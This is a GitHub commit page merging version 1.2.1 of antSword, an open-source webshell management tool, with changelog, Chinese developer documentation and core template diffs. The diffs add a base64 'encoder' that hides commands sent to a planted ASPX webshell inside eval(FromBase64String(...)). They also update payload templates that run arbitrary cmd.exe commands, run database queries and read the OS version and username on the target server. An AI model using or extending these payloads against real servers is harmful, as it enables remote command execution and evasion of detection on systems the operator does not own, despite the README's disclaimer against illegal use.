Skip to content

Commit

Permalink
Merge pull request #42 from antoor/v1.2-dev
Browse files Browse the repository at this point in the history
Update to v1.2.1
  • Loading branch information
antoor committed Apr 23, 2016
2 parents e3fdfd9 + 6c03f07 commit ce59621
Show file tree
Hide file tree
Showing 42 changed files with 437 additions and 152 deletions.
4 changes: 3 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,4 @@
node_modules
static/build
static/build
document/_book
.DS_*
13 changes: 13 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,19 @@
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## 2016/04

### /24 `(v1.2.1)`
1. 重写前端资源加载方案
2. 优化部分ES6代码

### /23
1. 更新美化关于页面
2. 修正 Aspx 中代码根据用户配置自动编码

### /22
1. 修补 aspx 连接和文件管理的 Bug // &2:Thanks [@Medicean][medicaean-github]
2. 新添加了 aspx base64 编码器

### /16 `(v1.2.0)`
1. 重新架构核心模块编码器
2. 优化shellmanager添加/编辑功能
Expand Down
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
> You can use it easily and intuitively to management your website(webshell).
[![node](https://img.shields.io/badge/node-4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/)
[![release](https://img.shields.io/badge/release-v1.2.0-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.2.0)
[![release](https://img.shields.io/badge/release-v1.2.1-blue.svg?style=flat-square)][url-release]

[中文说明][url-doccn] | [开发文档][url-document] | [CHANGELOG][url-changelog]

Expand Down Expand Up @@ -65,3 +65,4 @@ This project is licensed under the terms of the [MIT license][url-mit]
[url-weibo]: http://weibo.com/antoor
[url-mit]: LICENSE
[url-document]: http://doc.uyu.us
[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.1
4 changes: 2 additions & 2 deletions README_CN.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
**任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!**

[![node](https://img.shields.io/badge/node-4.0+-green.svg?style=flat-square)][url-nodejs-download]
[![release](https://img.shields.io/badge/release-v1.2.0-blue.svg?style=flat-square)][url-release]
[![release](https://img.shields.io/badge/release-v1.2.1-blue.svg?style=flat-square)][url-release]

[英文说明][url-docen] | [开发文档][url-document] | [CHANGELOG][url-changelog]

Expand Down Expand Up @@ -93,7 +93,7 @@ $ npm start
[url-changelog]: CHANGELOG.md
[url-document]: http://doc.uyu.us
[url-nodejs-download]: https://nodejs.org/en/download/
[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.0
[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.1
[url-electron]: http://electron.atom.io/
[url-es6]: http://es6.ruanyifeng.com/
[url-webpack]: http://webpack.github.io/
Expand Down
17 changes: 17 additions & 0 deletions document/01_install/build.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
## 修改组建

### 编辑代码
你可以选择[atom][atom-url][sublimeText][st-url]或者[vsCode][vscode-url]作为本项目的开发IDE,也可以选择任何你喜欢的文本编辑器进行编写。

### 组建源码
我们采用了`webpack`进行前端代码构建,但是其中的细节你不需要太多的知识去了解,只需要编辑好代码,然后执行下面命令进行构建编译即可:
``` sh
$ npm run build
```

> 该命令执行后,会进行代码监听,如有代码改动则会及时进行构建处理,如若只需编译一次,则直接`Ctrl+C`结束命令即可。
> 也可以去掉`package.json`中对应命令的`--watch`选项
[atom-url]: https://atom.io/
[vscode-url]: https://code.visualstudio.com/
[st-url]: http://www.sublimetext.com/3
17 changes: 17 additions & 0 deletions document/01_install/install.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
## 环境安装

### 安装node.js
下载安装[nodejs v4.0+](https://nodejs.org/)

### 下载代码
``` sh
$ git clone https://github.com/antoor/antSword.git
```

### 安装模块
> 考虑到安装模块过大,加上国内环境等原因可能导致模块安装失败,所以你如果没有梯子,可以尝试一下国内的淘宝npm源:[https://npm.taobao.org/](https://npm.taobao.org/)
``` sh
$ cd antSword
$ npm install
```
2 changes: 2 additions & 0 deletions document/01_install/readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
## 入门使用
这里,将会指导你如何进行代码下载、模块安装以及编辑后进行源码组建后运行。
6 changes: 6 additions & 0 deletions document/01_install/start.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
## 运行程序

在进行编辑(可选)然后编译过后,就可以执行如下命令来启动中国蚁剑了,赶紧玩耍吧!
``` sh
$ npm start
```
4 changes: 4 additions & 0 deletions document/02_language/create.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
## 创建模板

在语言模板目录`source/language`里,我们拷贝一份`en.jsx`英文模板用来修改使用。
比如要创建一个日文模板,则把拷贝的`en.jsx`文件重命名为`jp.jsx`即可。
3 changes: 3 additions & 0 deletions document/02_language/modify.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
## 修改模板

使用编辑器打开我们创建好的`jp.jsx`语言模板,然后把对应的英文语言模板字符串变量修改为翻译好的日文语言模板字符串即可。
9 changes: 9 additions & 0 deletions document/02_language/readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
## 语言模板

语言模板是应用一些UI组建以及菜单等所显示的语言模板。
目前增加了中文、英文两大模板,后期等待更新成熟稳定,将会考虑加入日语、韩语以及其他一些外国朋友们常用的语言。

**当然,这个好处就是你可以个性化自定义自己的语言模板啦!**
> 不局限于火星文、非主流杀马特家族专用文、文言文、颜文字等等。
**目前的英文模板均采用翻译软件进行翻译而来,所以有很多地方看着很别扭或者语法错误一大堆,在此希望有兴趣的朋友能一起改进,谢谢支持!**
12 changes: 12 additions & 0 deletions document/02_language/register.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
## 注册模板

语言模板文件添加后并不是就能生效使用的,我们需要在`source/language/index.jsx`中注册我们的语言模板:
``` js
// 在languages变量中添加我们添加的语言名称即可:
const languages = {
...
'jp': '日本語の'
}
```

> 模板注册后,在程序的设置->语言设置里即可看到我们添加的语言模板,选择使用即可。
21 changes: 21 additions & 0 deletions document/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# 中国蚁剑开发文档
> **本文档基于`v1.2.0`编写**
> 创建:2016/04/16
> 作者:蚁逅 <[email protected]>
> http://doc.uyu.us
### 最大自由的修改

从HTTP请求数据层面,你可以自定义任何你觉得喜欢的HTTP Header,也可以添加修改核心模板,发送自定义的任何数据包(包括变量、加密解密数据等)。
当然,在处理数据以及渲染UI层面,如果你愿意花点时间看看代码,会发现实现起来既简单又方便!
**总之,它开源了自己,就相当于把自己全部交给了你。怎么调教进化、驰骋沙场,就看你了。**

本文档将会从开始入门再到有一点深度地渐进给你讲解:**如何上手玩转中国蚁剑,如何优化打造属于自己的宝剑!**

### 遵循的开源协议

我们目前选择的开源协议是MIT,所以不推荐你对它进行修改后自行打包发布,也不允许你使用它来做一些不合法的坏事。
**否则由此带来的后果将有你自行承担,并且我们将会追求其相关责任!**

> 同时,也欢迎各位的参与开发,不管是功能添加修改,还是代码优化重构,甚至注释文档编写,我们都非常欢迎与期待你的一份贡献!
> [https://github.com/antoor/antSword](https://github.com/antoor/antSword)
19 changes: 19 additions & 0 deletions document/SUMMARY.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# Summary

* [入门使用](01_install/readme.md)
* [环境安装](01_install/install.md)
* [修改构建](01_install/build.md)
* [运行程序](01_install/start.md)

* [语言模板](02_language/readme.md)
* [创建模板](02_language/create.md)
* [修改模板](02_language/modify.md)
* [注册模板](02_language/register.md)

* [脚本模板]

* [插件开发]

* [其他问题]
* [修改HTTP函数]
* [数据缓存存储]
11 changes: 4 additions & 7 deletions modules/menubar.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
//
// 菜单栏模块
//
/**
* 菜单栏模块
*/

'use strict';

Expand Down Expand Up @@ -81,9 +81,6 @@ class Menubar {
}
]
}, {
//
// @窗口
//
label: LANG['window']['title'],
submenu: [
{
Expand Down Expand Up @@ -165,4 +162,4 @@ class Menubar {

}

module.exports = Menubar;
module.exports = Menubar;
9 changes: 4 additions & 5 deletions package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "antsword",
"version": "1.2.0",
"version": "1.2.1",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
Expand Down Expand Up @@ -32,11 +32,10 @@
},
"debug": true,
"update": {
"md5": "9632088a0be879fad2682793a8facd81",
"logs": "修复文件管理模板XSS安全问题\n完全重写优化核心代码架构\n增强文件下载功能,支持稳定下载大文件\n优化HTTP请求函数\n增加显示文件管理左侧目录数\n增加文件管理模块拖拽文件上传功能\n重新架构核心模块编码器\n优化shellmanager添加/编辑功能\n重构语言模板加载方案\n增加中文部分开发文档",
"md5": "1d21b4f1fb4ddc9a8014020a37b96777",
"logs": "修补 aspx 连接和文件管理的 Bug\n新添加了 aspx base64 编码器\n更新美化关于页面\n修正 Aspx 中代码根据用户配置自动编码\n重写前端资源加载方案\n优化部分ES6代码",
"sources": {
"coding.net": "https://coding.net/api/share/download/e821cb92-3654-419d-894d-a1a2d9cdf2a5",
"github": "https://github.com/antoor/antSword/releases/download/1.2.0/update.zip"
"coding.net": "https://coding.net/api/share/download/4aaf3221-af66-4f63-824d-37b81bc68711"
}
},
"bugs": {
Expand Down
2 changes: 2 additions & 0 deletions source/app.entry.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
'use strict';

const electron = global.require('electron');
const shell = electron.shell;
const remote = electron.remote;
const ipcRenderer = electron.ipcRenderer;

Expand Down Expand Up @@ -80,6 +81,7 @@ ipcRenderer.send('aproxy', {
aproxyuri: antSword['aproxyuri']
});

antSword['shell'] = shell;
antSword['ipcRenderer'] = ipcRenderer;
antSword['CacheManager'] = CacheManager;
antSword['menubar'] = new Menubar();
Expand Down
13 changes: 13 additions & 0 deletions source/core/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
## 中国蚁剑核心模块1.0
> 开写:2016/04/12
> 更新:2016/04/24
`AntSword-Core`是中国蚁剑中最核心的一个模块,它的作用在于根据模板进行自由地增加修改HTTP请求数据,然后返回给用户最终生成的HTTP包数据。
这样用户就能将它集成在任意支持的地方了。

## 模块所需参数
| 参数名 | 说明 |
| :---- | :--- |
| pwd | shell连接密码(必选 |
| encode | 数据编码格式(可选,默认utf8 |
| encoder | 脚本模块编码器(可选,默认default |
15 changes: 15 additions & 0 deletions source/core/aspx/encoder/base64.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
//
// aspx::base64 编码模块
//
// :把除了密码的其他参数都base64编码一次
//

'use strict';

module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`;
delete data['_'];
return data;
}
19 changes: 17 additions & 2 deletions source/core/aspx/index.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,10 @@
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*
* 更新: 2016/04/23
* - 优化 aspx 编码规则
* 作者:Medici.Yan <https://github.com/Medicean>
*/
'use strict';

Expand Down Expand Up @@ -32,7 +36,7 @@ class ASPX extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return [];
return ['base64'];
}

/**
Expand All @@ -47,10 +51,21 @@ class ASPX extends Base {

let formatter = new this.format(this.__opts__['encode']);

let aspxencode = this.__opts__['encode'];

switch(this.__opts__['encode']) {
case "UTF8":
aspxencode = "UTF-8";
break;
default:
break;
}
// 替换代码中的 GetEncoding("!{ANT::ENDOCE}").GetString 的 tag
data['_'] = data['_'].replace(/!{ANT::ENDOCE}/g, aspxencode);
// base64编码一次数据
let base64Code = formatter['base64'](data['_']);

data['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${babase64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`;
data['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("${aspxencode}").GetString(System.Convert.FromBase64String("${base64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`;

// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
Expand Down
2 changes: 1 addition & 1 deletion source/core/aspx/template/base.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -5,5 +5,5 @@

module.exports = () => ({
info:
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+" ");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");`
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
})
2 changes: 1 addition & 1 deletion source/core/aspx/template/command.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
module.exports = (arg1, arg2) => ({
exec: {
_:
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
}
Expand Down
8 changes: 4 additions & 4 deletions source/core/aspx/template/database/access.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -6,28 +6,28 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{dbname}'
},
// 显示数据库所有表
show_tables: {
_:
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}',
},
// 显示表字段
show_columns: {
_:
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table2
[arg2]: '#{base64::table}'
},
// 执行SQL语句
query: {
_:
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}',
}
Expand Down
Loading

0 comments on commit ce59621

Please sign in to comment.